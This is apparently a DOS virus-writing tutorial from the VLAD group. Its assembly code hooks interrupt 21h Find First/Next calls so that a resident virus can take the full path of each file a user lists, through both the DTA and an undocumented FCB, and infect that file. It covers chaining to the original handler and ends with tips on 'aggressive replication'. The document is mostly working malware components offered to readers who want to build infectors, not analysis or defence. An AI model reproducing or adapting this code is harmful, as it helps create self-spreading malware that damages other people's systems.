FIND FIRST / NEXT INFECTION
"Aggressive replication"
Darkman/VLAD

    ----------------------------------------------------------------
    How to get the filename from Find First/Next Matching File (DTA)
    ----------------------------------------------------------------

    The below steps must be followed to get the filename from DTA:

      1. If Find First Matching File (4Eh), then get the path and then...
      2. Call original interrupt 21h.
      3. Get the Disk Transfer Address (DTA).
      4. Get the filename.
      5. RETurn from interrupt 21h.

    ----------------------------------------------------------------
    If Find First Matching File (4Eh), then get the path and then...
    ----------------------------------------------------------------

      The below code shows an example of how get the path of the filename:

    ;------------------------------------------------------------=< cut here >=-
                 lea     di,filename         ; DI = offset of filename
                 mov     si,dx
                 push    cs                  ; Save CS at stack
                 pop     es                  ; Load ES from stack (CS)
                 mov     filenameoff,di      ; Store offset of filename
    movepathdta:
                 lodsb                       ; Load a byte of path
                 or      al,al               ; End of path?
                 je      pathdtaexit         ; Equal? Jump to pathdtaexit
                 stosb                       ; Store a byte of path

                 cmp     al,':'              ; Possible end of path?
                 je      setnameoff          ; Equal? Jump to setnameoff
                 cmp     al,'\'              ; Possible end of path?
                 jne     movepathdta         ; Not equal? Jump to movepathdta
    setnameoff:
                 mov     filenameoff,di      ; Store offset of filename
                 jmp     movepathdta
    pathdtaexit:
    ;------------------------------------------------------------=< cut here >=-

      This code presumes that a variable of 76 bytes called filename and a
    variable of a word called filenameoff exists. Remember to PUSH and POP the
    used registers before and after the code.

    ---------------------------
    Call original interrupt 21h
    ---------------------------

      The below code shows an example of how to call the original interrupt 21h:

    ;------------------------------------------------------------=< cut here >=-
                 call    simint21            ; Do it!
    ;------------------------------------------------------------=< cut here >=-

      This code presumes a procedure called simint21 exists. Remember to POP and
    PUSH the used registers before and after the code.

    -----------------------------------
    Get the Disk Transfer Address (DTA)
    -----------------------------------

      The below code shows an example of how to get the Disk Transfer Area (DTA):

    ;------------------------------------------------------------=< cut here >=-
                 mov     ah,2fh              ; Get Disk Transfer Address (DTA)
                 int     21h                 ; Do it!
    ;------------------------------------------------------------=< cut here >=-

    ----------------
    Get the filename
    ----------------

      The below code shows an example of how to get the filename:

    ;------------------------------------------------------------=< cut here >=-
                 mov     di,filenameoff      ; DI = offset of filename
                 mov     si,bx
                 add     si,1eh              ; SI = offset of filename (DTA)
                 push    es                  ; Save ES at stack
                 pop     ds                  ; Load DS from stack (ES)
                 push    cs                  ; Save CS at stack
                 pop     es                  ; Load ES from stack (CS)
    movenamedta:
                 lodsb                       ; Load a byte of filename (DTA)
                 stosb                       ; Store a byte of filename
                 or      al,al               ; End of filename?
                 jne     movenamedta         ; Not equal? Jump to movenamedta
    ;------------------------------------------------------------=< cut here >=-

      This code presumes that a variable of a word called filenameoff exists. The
    filename with full path is in the 76 bytes variable called filename and ready
    to be infected.

    -------------------------
    RETurn from interrupt 21h
    -------------------------

      The below code shows an example of how to return from interrupt 21h:

    ;------------------------------------------------------------=< cut here >=-
                 retf    02h                 ; Return far and pop a word!
    ;------------------------------------------------------------=< cut here >=-

      Remember to POP the used registers before this code.

    ----------------------------------------------------------------
    How to get the filename from Find First/Next Matching File (FCB)
    ----------------------------------------------------------------

    The below steps must be followed to get the filename from DTA:

      1. Check if the path is shown. If it is, get the path and then...
      2. Call original interrupt 21h.
      3. Check if the FCB is extended. If it is, move the offset.
      4. Get the filename.
      5. Get the extension.
      6. Create a ASCIIZ filename.
      7. RETurn from interrupt 21h.

    --------------------------------------------------------------
    Check if the path is shown. If it is, get the path and then...
    --------------------------------------------------------------

      The below code shows an example of how to check if the path is shown and if
    it is, how to get the path:

    ;------------------------------------------------------------=< cut here >=-
                 mov     si,dx
                 add     si,0a4cfh           ; SI = offset of FCB
                 cmp     byte ptr [si+01h],':'
                 jne     realfcb             ; Not equal? Jump to realfcb

                 lea     di,filename         ; DI = offset of filename
                 push    cs                  ; Save CS at stack
                 pop     es                  ; Load ES from stack (CS)
    movepathfcb:
                 lodsb                       ; Load a byte of path
                 or      al,al               ; End of path?
                 je      pathfcbexit         ; Equal? Jump to pathfcbexit
                 stosb                       ; Store a byte of path
                 jmp     movepathfcb
    pathfcbexit:
                 mov     al,'\'
                 stosb                       ; Store the last byte of the path
                 mov     filenameoff,di      ; Store offset of filename
    ;------------------------------------------------------------=< cut here >=-

      This code presumes that a variable of 76 bytes called filename and a
    variable of a word called filenameoff exists. Remember to PUSH and POP the
    used registers before and after the code.

    ---------------------------
    Call original interrupt 21h
    ---------------------------

      The below code shows an example of how to call the original interrupt 21h:

    ;------------------------------------------------------------=< cut here >=-
                 call    simint21            ; Do it!
    ;------------------------------------------------------------=< cut here >=-

      This code presumes a procedure called simint21 exists. Remember to POP and
    PUSH the used registers before and after the code.

    -------------------------------------------------------
    Check if the FCB is extended. If it is, move the offset
    -------------------------------------------------------

      The below code shows an example of how to check if the FCB is extended and
    if it is, how to move the offset:

    ;------------------------------------------------------------=< cut here >=-
                 cld                         ; Clear direction flag

                 add     dx,0a4cfh           ; DX = offset of FCB
                 mov     si,dx
                 lodsb                       ; Load a byte of FCB
                 dec     si                  ; Decrease SI

                 cmp     al,0ffh             ; Extended FCB ID
                 jne     initmovefcb         ; Not equal? Jump to initmovefcb
                 add     si,07h              ; SI = offset of extended FCB
    initmovefcb:
    ;------------------------------------------------------------=< cut here >=-

    ----------------
    Get the filename
    ----------------

      The below code shows an example of how to get the filename:

    ;------------------------------------------------------------=< cut here >=-
                 mov     cx,08h              ; Move 8 bytes
                 mov     di,filenameoff      ; DI = offset of filename
                 inc     si                  ; SI = offset of filename (FCB)
                 push    cs                  ; Save CS at stack
                 pop     es                  ; Load ES from stack (CS)
    movenamefcb:
                 lodsb                       ; Load a byte of filename (FCB)
                 cmp     al,' '              ; End of filename?
                 je      createext           ; Equal? Jump to createext
                 stosb                       ; Store a byte of filename
                 loop    movenamefcb
                 inc     si                  ; Increase SI
    createext:
    ;------------------------------------------------------------=< cut here >=-

      This code presumes that a variable of 76 bytes called filename and a
    variable of a word called filenameoff exists.

    -----------------
    Get the extension
    -----------------

      The below code shows an example of how to get the extension:

    ;------------------------------------------------------------=< cut here >=-
                 mov     al,'.'
                 dec     si                  ; Decrease SI
                 add     si,cx               ; SI = offset of extension (FCB)
                 stosb                       ; Create .COM extension
                 movsw                       ; Move extension
                 movsb                       ;  "       "
    ;------------------------------------------------------------=< cut here >=-

    -------------------------
    Create an ASCIIZ filename
    -------------------------

      The below code shows an example of how to create an ASCIIZ filename:

    ;------------------------------------------------------------=< cut here >=-
                 xor     al,al               ; Clear AL
                 stosb                       ; Create an ASCIIZ filename
    ;------------------------------------------------------------=< cut here >=-

      The filename with full path is in the 76 bytes variable called filename and
    ready to be infected.

    -------------------------
    RETurn from interrupt 21h
    -------------------------

      The below code shows an example of how to return from interrupt 21h:

    ;------------------------------------------------------------=< cut here >=-
                 retf    02h                 ; Return far and pop a word!
    ;------------------------------------------------------------=< cut here >=-

      Remember to POP the used registers before this code.

    -------------------------------------
    Disk Transfer Address (DTA) structure
    -------------------------------------

      The above Find First/Next Matching File (DTA) infector is using the normal
    DTA. This is the DTA structure:

                   -----------------------------------------
                   Offset Length Field
                   -----------------------------------------
                     00     01   Drive letter
                    01-0B   0B   Search template
                    0C-14   09   Reserved
                     15     01   File attribute
                    16-17   02   File time
                    18-19   02   File date
                    1A-1D   04   File size
                    1E-3A   0D   ASCIIZ filename + extension
                   -----------------------------------------

    ----------------------------------
    File Control Block (FCB) structure
    ----------------------------------

      The above Find First/Next Matching File (FCB) infector does not use the
    usual File Control Block (FCB), but a undocumented FCB. This FCB is placed
    42191 bytes above the opened FCB. This is FCB structure:

                           --------------------------
                           Offset Length Field
                           --------------------------
                             00     01   Drive code
                            01-08   08   Filename
                            09-0B   03   Extension
                            0C-16   0B   Undocumented
                            17-18   02   File time
                            19-1A   02   File date
                            1B-1C   02   Undocumented
                            1D-20   04   File size
                           --------------------------

      This FCB is not the same as the usual FCB.

      If the FCB is extended; then the first fields of the structure will look
    like this:

                         -----------------------------
                         Offset Length Field
                         -----------------------------
                           00     01   Extended FCB ID
                          01-05   05   Reserved
                           06     01   File attribute
                         -----------------------------

      Then the normal FCB will begin after the extended FCB at offset 07.

    ----------------------------------------------------
    Necessary labels, variables and code to the examples
    ----------------------------------------------------

      The above examples presumes that a variable of 76 bytes called filename
    exists. This variable holds the filename with full path of the FCB/DTA
    filename. It should look like this:

    filename     db      4ch dup(?)          ; DTA/FCB filename

      The above examples presumes that a variable of a word called filenameoff
    exists. This variable holds the offset of the filename, which is placed after
    the path. It should look like this:

    filenameoff  dw      ?                   ; Offset of DTA/FCB filename

      The above examples presumes that a procedure called simint21 exists. This
    procedure will call the original interrupt 21h. This is done because we have
    intercepted interrupt 21h. It should look like this:

    simint21     proc    near                ; Simulate interrupt 21h
                 pushf                       ; Save flags at stack
    callfar      db      9ah                 ; Object code of a far call
    int21adr     dd      0                   ; Address of interrupt 21h
                 ret                         ; Return!
                 endp

      However the address of the original interrupt should be placed in the
    variable with the name int21adr.

    ---------------------
    Final tips and tricks
    ---------------------

    - The mentioned variables do not have to be in the code, just in the memory.
    - If you replicate both ways then don't return twice, just jump to a return.
    - Remember to optimize your code.